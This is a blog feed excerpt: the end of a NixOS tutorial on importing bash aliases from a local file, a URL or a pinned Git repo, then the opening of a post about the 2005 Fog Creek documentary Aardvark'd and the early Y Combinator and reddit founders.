&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> programs.bash.shellAliases = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gc = &lt;span style="color:#ed9d13">&amp;#34;git commit --message&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gs = &lt;span style="color:#ed9d13">&amp;#34;git status&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> td = &lt;span style="color:#ed9d13">&amp;#34;pushd $(mktemp -d)&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If I store this file under &lt;code>/tmp/shell.nix&lt;/code>, then I can import it into my &lt;code>/etc/nixos/configuration.nix&lt;/code> by adding the path to my &lt;code>imports&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> imports = [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;/tmp/shell.nix&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If I run &lt;code>sudo nixos-rebuild switch&lt;/code> and then restart my shell, I can see that my bash aliases are now active:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ td
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/tmp/tmp.awb7PW7aus ~
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[/tmp/tmp.awb7PW7aus]$ &lt;span style="color:#24909d">pwd&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/tmp/tmp.awb7PW7aus
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="moving-the-nix-file-to-a-url">Moving the Nix file to a URL&lt;/h2>
&lt;p>The solution above works, but it requires me to copy the same file on each of my Nix systems.&lt;/p>
&lt;p>I&amp;rsquo;d rather host the file at a publicly accessible URL, and then I can have a standard &lt;code>configuration.nix&lt;/code> file that references the URL.&lt;/p>
&lt;p>Here&amp;rsquo;s how I adjust my &lt;code>configuration.nix&lt;/code> to pull in &lt;a href="https://mtlynch.io/notes/nix-import-from-url/shell.nix">my &lt;code>shell.nix&lt;/code> file&lt;/a> from a remote URL:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">let&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shellAliases = &lt;span style="color:#24909d">builtins&lt;/span>.fetchurl {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> url = &lt;span style="color:#ed9d13">&amp;#34;https://mtlynch.io/notes/nix-import-from-url/shell.nix&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> imports = [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shellAliases
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Once again, if I save these changes to &lt;code>configuration.nix&lt;/code>, run &lt;code>sudo nixos-rebuild switch&lt;/code>, and restart my shell, Nix imports my bash aliases from the URL.&lt;/p>
&lt;h2 id="using-fetchgit-optional">Using &lt;code>fetchGit&lt;/code> (optional)&lt;/h2>
&lt;p>Another option for fetching remote Nix files is to store them in a public Git repository and then use &lt;code>fetchGit&lt;/code> to retrieve the files.&lt;/p>
&lt;p>Here&amp;rsquo;s an example of a &lt;code>configuration.nix&lt;/code> file that fetches my &lt;code>shell.nix&lt;/code> from a public GitHub repo:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">let&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> repo = &lt;span style="color:#24909d">builtins&lt;/span>.fetchGit {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> url = &lt;span style="color:#ed9d13">&amp;#34;https://github.com/mtlynch/nix-files&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> rev = &lt;span style="color:#ed9d13">&amp;#34;f98500a995cb5838e40be139a8327867faaff2d5&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> imports = [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>repo&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/shell.nix&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>url&lt;/code> is the public URL of my GitHub repo, and &lt;code>rev&lt;/code> is the Git commit hash of the version of the file I want to import.&lt;/p>
&lt;p>After I make those changes to &lt;code>configuration.nix&lt;/code>, I can re-run &lt;code>sudo nixos-rebuild switch&lt;/code>, and Nix imports my &lt;code>shell.nix&lt;/code> file from my GitHub repo.&lt;/p>
&lt;h2 id="more-advanced-shell-configuration">More advanced shell configuration&lt;/h2>
&lt;p>Most of my bash aliases are simple one-liners, but a few are more complicated. For those, I define bash functions, and then I create short bash aliases for those functions.&lt;/p>
&lt;p>One example is my &lt;code>gcbm&lt;/code> bash alias. I use it like this &lt;code>gcbm some-branch&lt;/code>, which does the following:&lt;/p>
&lt;ol>
&lt;li>Check out the main branch.&lt;/li>
&lt;li>Pull down the latest changes from the remote repo.&lt;/li>
&lt;li>Check out a new branch called &lt;code>some-branch&lt;/code>.&lt;/li>
&lt;/ol>
&lt;p>I implement the heavy lifting for the alias in a bash function called &lt;code>git_sync_and_branch&lt;/code>. Here&amp;rsquo;s how I implement that in my &lt;code>shell.nix&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> programs.bash = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shellInit = &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> function git_sync_and_branch {
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> local readonly TARGET_BRANCH=&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">&amp;#39;&amp;#39;$&lt;/span>&lt;span style="color:#ed9d13">1&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> local readonly MAIN_BRANCH=&amp;#39;master&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> git checkout &amp;#34;&lt;/span>&lt;span style="color:#ed9d13">&amp;#39;&amp;#39;$&lt;/span>&lt;span style="color:#ed9d13">{MAIN_BRANCH}&amp;#34; &amp;amp;&amp;amp; \
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> git pull origin &amp;#34;&lt;/span>&lt;span style="color:#ed9d13">&amp;#39;&amp;#39;$&lt;/span>&lt;span style="color:#ed9d13">{MAIN_BRANCH}&amp;#34; &amp;amp;&amp;amp; \
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> if [[ -n &amp;#34;&lt;/span>&lt;span style="color:#ed9d13">&amp;#39;&amp;#39;$&lt;/span>&lt;span style="color:#ed9d13">{TARGET_BRANCH}&amp;#34; ]]; then
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> git checkout -b &amp;#34;&lt;/span>&lt;span style="color:#ed9d13">&amp;#39;&amp;#39;$&lt;/span>&lt;span style="color:#ed9d13">{TARGET_BRANCH}&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> fi
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> }
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> &amp;#39;&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shellAliases = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gc = &lt;span style="color:#ed9d13">&amp;#34;git commit --message&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gcbm = &lt;span style="color:#ed9d13">&amp;#34;git_sync_and_branch&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gs = &lt;span style="color:#ed9d13">&amp;#34;git status&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> td = &lt;span style="color:#ed9d13">&amp;#34;pushd $(mktemp -d)&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="gotcha-escaping-dollar-signs">Gotcha: Escaping dollar signs&lt;/h3>
&lt;p>One of the gotchas that caught me when trying to move my bash functions to Nix is that I need to escape the &lt;code>${&lt;/code> sequences. Otherwise, Nix will try to interpolate them as local variables, but they&amp;rsquo;re bash variables, not Nix variables.&lt;/p>
&lt;p>Here&amp;rsquo;s how I originally tried to write one of the lines in my &lt;code>git_sync_and_branch&lt;/code> bash function:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>git checkout &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">MAIN_BRANCH&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Nix failed with this error:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span> error: undefined variable &amp;#39;MAIN_BRANCH&amp;#39;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I need to &lt;a href="https://web.archive.org/web/20231001024315/https://nixos.org/manual/nix/stable/language/values.html?highlight=escape#primitives">escape the &lt;code>${&lt;/code>&lt;/a> by prepending it with two single quotes (&lt;code>''&lt;/code>) like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>git checkout &lt;span style="color:#ed9d13">&amp;#34;&amp;#39;&amp;#39;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">MAIN_BRANCH&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="why-not-home-manager">Why not Home Manager?&lt;/h2>
&lt;p>I think the more popular way to modularize your Nix configuration is with &lt;a href="https://github.com/nix-community/home-manager">Home Manager&lt;/a>.&lt;/p>
&lt;p>But honestly, I still don&amp;rsquo;t understand the purpose of Home Manager. According to the project README:&lt;/p>
&lt;blockquote>
&lt;p>This project provides a basic system for managing a user environment using the Nix package manager together with the Nix libraries found in Nixpkgs. It allows declarative configuration of user specific (non global) packages and dotfiles.&lt;/p>&lt;/blockquote>
&lt;p>That confuses me because it sounds like what Nix already does.&lt;/p>
&lt;p>I&amp;rsquo;ve peeked at Home Manager a few times, but every time, it feels like I have to invest a lot to learn this new tool for gains that aren&amp;rsquo;t clear to me.&lt;/p>
&lt;p>Maybe I&amp;rsquo;ll eventually realize a benefit from managing my Nix configuration with Home Manager, but for now, I&amp;rsquo;ve found a fairly straightforward way to manage remote Nix files with standard Nix.&lt;/p></content:encoded></item><item><title>Aardvark'd: The Fog Creek Documentary, 18 Years Later</title><link>https://mtlynch.io/aardvarkd/</link><pubDate>Fri, 08 Sep 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/aardvarkd/</guid><description>&lt;p>In 2005, Joel Spolsky&amp;rsquo;s software company, Fog Creek, filmed a documentary about their summer internship program. The film is called &lt;em>Aardvark&amp;rsquo;d: 12 Weeks with Geeks&lt;/em>, and it follows four college interns as they design, implement, and launch a completely new software product.&lt;/p>
&lt;p>That&amp;rsquo;s not the interesting part.&lt;/p>
&lt;p>Looking back on this documentary 18 years later, it&amp;rsquo;s striking how many interviews it captured with people who would go on to greater fame and success:&lt;/p></description><content:encoded>&lt;p>In 2005, Joel Spolsky&amp;rsquo;s software company, Fog Creek, filmed a documentary about their summer internship program. The film is called &lt;em>Aardvark&amp;rsquo;d: 12 Weeks with Geeks&lt;/em>, and it follows four college interns as they design, implement, and launch a completely new software product.&lt;/p>
&lt;p>That&amp;rsquo;s not the interesting part.&lt;/p>
&lt;p>Looking back on this documentary 18 years later, it&amp;rsquo;s striking how many interviews it captured with people who would go on to greater fame and success:&lt;/p>
&lt;ul>
&lt;li>Paul Graham and Jessica Livingston, months after they co-founded Y Combinator&lt;/li>
&lt;li>Steve Huffman and Alexis Ohanian, months after they launched reddit&lt;/li>
&lt;li>Aaron Swartz, months before he joined reddit and years before he founded Demand Progress&lt;/li>
&lt;li>Joel Spolsky and Michael Pryor before their mega-hits like StackOverflow and Trello&lt;/li>
&lt;/ul>
&lt;p>&lt;em>Aardvark&amp;rsquo;d&lt;/em> sold about 5,000 copies on DVD, mostly to fans of Joel&amp;rsquo;s blog, but it quickly faded from popular consciousness.&lt;/p>
&lt;p>As a longtime Joel Spolsky fanboy, I&amp;rsquo;ve always been curious to watch &lt;em>Aardvark&amp;rsquo;d&lt;/em>. I was delighted that the film&amp;rsquo;s producer recently published it &lt;a href="https://www.youtube.com/watch?v=YbrkZ07LKbk">for free on YouTube&lt;/a> at 1080p resolution.&lt;/p>
&lt;p>At the time of this writing, &lt;em>Aardvark&amp;rsquo;d&lt;/em> has only 41 views on YouTube, which is surprisingly low given the rarity of its interviews.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://www.youtube.com/watch?v=YbrkZ07LKbk">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/aardvarkd/41-views_hu_a931bc7631026d56.webp 300w, https://mtlynch.io/aardvarkd/41-views_hu_a425d2f78608789a.webp 600w, https://mtlynch.io/aardvarkd/41-views_hu_e540f867aff7a00f.webp 800w, https://mtlynch.io/aardvarkd/41-views_hu_beb4496fc5c62c4d.webp 1200w, https://mtlynch.io/aardvarkd/41-views.webp 1240w'
 src="https://mtlynch.io/aardvarkd/41-views.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;em>Aardvark&amp;rsquo;d&lt;/em> currently has only 41 views &lt;a href="https://www.youtube.com/watch?v=YbrkZ07LKbk">on YouTube&lt;/a>.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="what-was-going-on-in-2005">What was going on in 2005?&lt;/h2>
&lt;p>To understand what makes &lt;em>Aardvark&amp;rsquo;d&lt;/em> a fun watch, you need to understand what was going on with indie software in 2005.&lt;/p>
&lt;h3 id="fog-creek-software">Fog Creek Software&lt;/h3>
&lt;p>At the time of filming, &lt;a href="https://en.wikipedia.org/wiki/Joel_Spolsky">Joel Spolsky&lt;/a> was 40 years old. He had co-founded Fog Creek in 2000 with Michael Pryor. Aside from the founders, Fog Creek had six employees. They sold two products: FogBugz, a bug-tracking application, and CityDesk, a web publishing tool. The company was profitable enough to get by without external investors, but they weren&amp;rsquo;t experiencing any kind of exponential hypergrowth.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/aardvarkd/joel.webp">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/aardvarkd/joel_hu_9a4b93d6bc777f8.webp 300w, https://mtlynch.io/aardvarkd/joel_hu_72becbb984a9b04d.webp 600w, https://mtlynch.io/aardvarkd/joel.webp 706w'
 src="https://mtlynch.io/aardvarkd/joel.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Joel Spolsky, Fog Creek co-founder, in 2005&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="y-combinator">Y Combinator&lt;/h3>
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Paul_Graham_(programmer)">Paul Graham&lt;/a> and &lt;a href="https://en.wikipedia.org/wiki/Jessica_Livingston">Jessica Livingston&lt;/a> had just co-founded &lt;a href="https://en.wikipedia.org/wiki/Y_Combinator">Y Combinator&lt;/a>, which would become one of the most successful startup accelerators in the world, launching companies like Airbnb, Dropbox, and Stripe.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/aardvarkd/paul-jessica.webp">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/aardvarkd/paul-jessica_hu_fccc5c9068a5c055.webp 300w, https://mtlynch.io/aardvarkd/paul-jessica_hu_9f8cd7c545f303a1.webp 600w, https://mtlynch.io/aardvarkd/paul-jessica_hu_d3db4dd54bcc1cc2.webp 800w, https://mtlynch.io/aardvarkd/paul-jessica_hu_4a6abd1ee4640796.webp 1200w, https://mtlynch.io/aardvarkd/paul-jessica.webp 1428w'
 src="https://mtlynch.io/aardvarkd/paul-jessica.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Y Combinator co-cofounders Paul Graham and Jessica Livingston in 2005&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Graham was 41 years old, and Livingston was 34. Seven years prior, Graham had sold his startup &lt;a href="https://en.wikipedia.org/wiki/Viaweb">Viaweb&lt;/a> to Yahoo for $50M. He then became popular online for &lt;a href="http://paulgraham.com/articles.html">his essays about startups and software&lt;/a>. Livingston was not active in the startup community at the time, having come from a career in marketing.&lt;/p>
&lt;p>Graham and Livingston &lt;a href="http://paulgraham.com/worked.html">had been dating for two years&lt;/a> but weren&amp;rsquo;t married yet. The documentary interviews them in the middle of Y Combinator&amp;rsquo;s first batch of startups, which included a then-unknown social media platform called &lt;a href="https://en.wikipedia.org/wiki/Reddit">reddit&lt;/a>.&lt;/p>
&lt;h3 id="reddit">reddit&lt;/h3>
&lt;p>reddit had launched a few months before the documentary began filming, and it wasn&amp;rsquo;t yet on anyone&amp;rsquo;s radar.&lt;/p>
&lt;p>At the time, reddit only allowed users to post links — there was no commenting. &lt;a href="https://en.wikipedia.org/wiki/Fark">Fark&lt;/a>, &lt;a href="https://en.wikipedia.org/wiki/Digg">digg&lt;/a>, and &lt;a href="https://en.wikipedia.org/wiki/Slashdot">slashdot&lt;/a> were still the dominant platforms for social link sharing.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/aardvarkd/reddit-2005.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/aardvarkd/reddit-2005_hu_96b3e50994d97ca4.webp 300w, https://mtlynch.io/aardvarkd/reddit-2005_hu_cd7abf0b0ceaff97.webp 600w, https://mtlynch.io/aardvarkd/reddit-2005_hu_88456624d150a0bd.webp 800w, https://mtlynch.io/aardvarkd/reddit-2005.webp 1073w'
 src="https://mtlynch.io/aardvarkd/reddit-2005.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The reddit homepage &lt;a href="https://web.archive.org/web/20050804002153/http://www.reddit.com/">in 2005&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Early in 2005, college roommates Steve Huffman and Alexis Ohanian drove to Boston to attend one of Paul Graham&amp;rsquo;s lectures about startups. After the talk, Graham had dinner with Huffman, Ohanian, and a few other attendees. The conversations inspired Graham to create Y Combinator, and reddit was in the first batch of investments.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/aardvarkd/ohanian-swartz-huffman.webp">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/aardvarkd/ohanian-swartz-huffman_hu_7228da24460e5a6c.webp 300w, https://mtlynch.io/aardvarkd/ohanian-swartz-huffman_hu_9649d1aab17eb042.webp 600w, https://mtlynch.io/aardvarkd/ohanian-swartz-huffman_hu_dc0be71f0fa4c7fa.webp 800w, https://mtlynch.io/aardvarkd/ohanian-swartz-huffman_hu_e9773d0473c7320f.webp 1200w, https://mtlynch.io/aardvarkd/ohanian-swartz-huffman.webp 1857w'
 src="https://mtlynch.io/aardvarkd/ohanian-swartz-huffman.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>reddit co-founders (left to right) Alexis Ohanian, Aaron Swartz, and Steve Huffman in 2005&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Aaron Swartz was 19 at the time of filming. He already impacted the early web as one of the authors of the &lt;a href="https://www.rssboard.org/rss-validator/docs/rss1.html">RSS specification&lt;/a> and a founding contributor to &lt;a href="https://creativecommons.org/">Creative Commons&lt;/a>.&lt;/p>
&lt;p>An undergrad at Stanford in 2005, Swartz was also accepted into Y Combinator&amp;rsquo;s first batch. When his company stalled, Graham suggested he &lt;a href="https://web.archive.org/web/20230326133436/https://qz.com/594715/when-aaron-swartz-met-paul-graham-his-life-and-the-entire-internet-changed-forever">merge with reddit&lt;/a>.&lt;/p>
&lt;h2 id="back-when-they-were-getting-started-they-were-terrified">&amp;ldquo;Back when they were getting started, they were terrified&amp;rdquo;&lt;/h2>
&lt;p>As a documentary, &lt;em>Aardvark’d&lt;/em> is not very good. The filmmaker didn&amp;rsquo;t have much experience, so the shots are always uncomfortably close to people&amp;rsquo;s faces, often with harsh lighting and mediocre sound quality.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/aardvarkd/joel-lighting.webp">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/aardvarkd/joel-lighting_hu_93549ff155571f4d.webp 300w, https://mtlynch.io/aardvarkd/joel-lighting_hu_bbb1e5593547168f.webp 600w, https://mtlynch.io/aardvarkd/joel-lighting_hu_a5658e2a4c578ebc.webp 800w, https://mtlynch.io/aardvarkd/joel-lighting_hu_e88885b90971cc0.webp 1200w, https://mtlynch.io/aardvarkd/joel-lighting.webp 1280w'
 src="https://mtlynch.io/aardvarkd/joel-lighting.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Joel Spolsky isn&amp;rsquo;t this luminescent in real life.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The film flits from topic to topic without ever landing on a cohesive story. Is it about the interns&amp;rsquo; project? Or is it about the interns themselves? Or is it a story about Fog Creek as a company?&lt;/p>
&lt;p>Still, I found it compelling.&lt;/p>
&lt;p>Towards the end of the movie, Jessica Livingston captures so crisply what makes the film engaging:&lt;/p>
&lt;blockquote>
&lt;p>A lot of these tech startup founders who are extremely successful, back when they were getting started, they were terrified.&lt;/p>
&lt;p>They were very unsure of what they were doing. They questioned things, and I&amp;rsquo;m sure doubted themselves&amp;hellip;&lt;/p>
&lt;p>And so to see these people as vulnerable people at one point in time is interesting to me.&lt;/p>&lt;/blockquote>
&lt;p>This vulnerability is what makes the film&amp;rsquo;s interviews with Steve Huffman so fascinating.&lt;/p>
&lt;p>Huffman is currently the target of widespread ire for &lt;a href="https://techcrunch.com/2023/06/16/reddit-ceo-lashes-out-on-protests-moderators-and-third-party-apps/">cutting third-party clients out of the platform they helped build&lt;/a>. But in 2005, Huffman was just a lovably doofy kid. In his interview, he admits that he had such intense nightmares about reddit having an outage that he slept with his laptop in bed with him.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/aardvarkd/steve-huffman-2005.webp">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/aardvarkd/steve-huffman-2005_hu_8d90bcd077a3b91f.webp 300w, https://mtlynch.io/aardvarkd/steve-huffman-2005_hu_5c93f6e2ff9a8bfc.webp 600w, https://mtlynch.io/aardvarkd/steve-huffman-2005.webp 694w'
 src="https://mtlynch.io/aardvarkd/steve-huffman-2005.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 487px">



 &lt;a href="https://mtlynch.io/aardvarkd/steve-huffman-2017.webp">
 &lt;img
 
 sizes="(min-width: 768px) 487px, 98vw"
 srcset='https://mtlynch.io/aardvarkd/steve-huffman-2017_hu_7225d20c779db648.webp 300w, https://mtlynch.io/aardvarkd/steve-huffman-2017_hu_7f9670caa2d9f25c.webp 600w, https://mtlynch.io/aardvarkd/steve-huffman-2017_hu_157e86b618a0b7a6.webp 800w, https://mtlynch.io/aardvarkd/steve-huffman-2017_hu_8198bd645f4d335c.webp 1200w, https://mtlynch.io/aardvarkd/steve-huffman-2017.webp 1222w'
 src="https://mtlynch.io/aardvarkd/steve-huffman-2017.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Steve Huffman in 2005 (left) and in 2017 (right) (photo &lt;a href="https://www.flickr.com/photos/websummit/26487734439/in/photostream/">by Cody Glenn/Web Summit&lt;/a>, used under &lt;a href="https://creativecommons.org/licenses/by/2.0/">CC-BY-2.0&lt;/a>)&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;h2 id="the-infuriating-launch-day-scene">The infuriating launch day scene&lt;/h2>
&lt;p>There&amp;rsquo;s one &lt;em>Aardvark&amp;rsquo;d&lt;/em> scene that drives me crazy.&lt;/p>
&lt;p>The main storyline of the documentary is the interns&amp;rsquo; summer project. Originally codenamed Aardvark, the interns&amp;rsquo; app would eventually take the name Copilot.&lt;/p>
&lt;p>No, not the AI coding assistant.&lt;/p>
&lt;p>Fog Creek Copilot was a tool that let people provide remote computer assistance to friends, family, and co-workers.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/aardvarkd/fog-creek-copilot.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
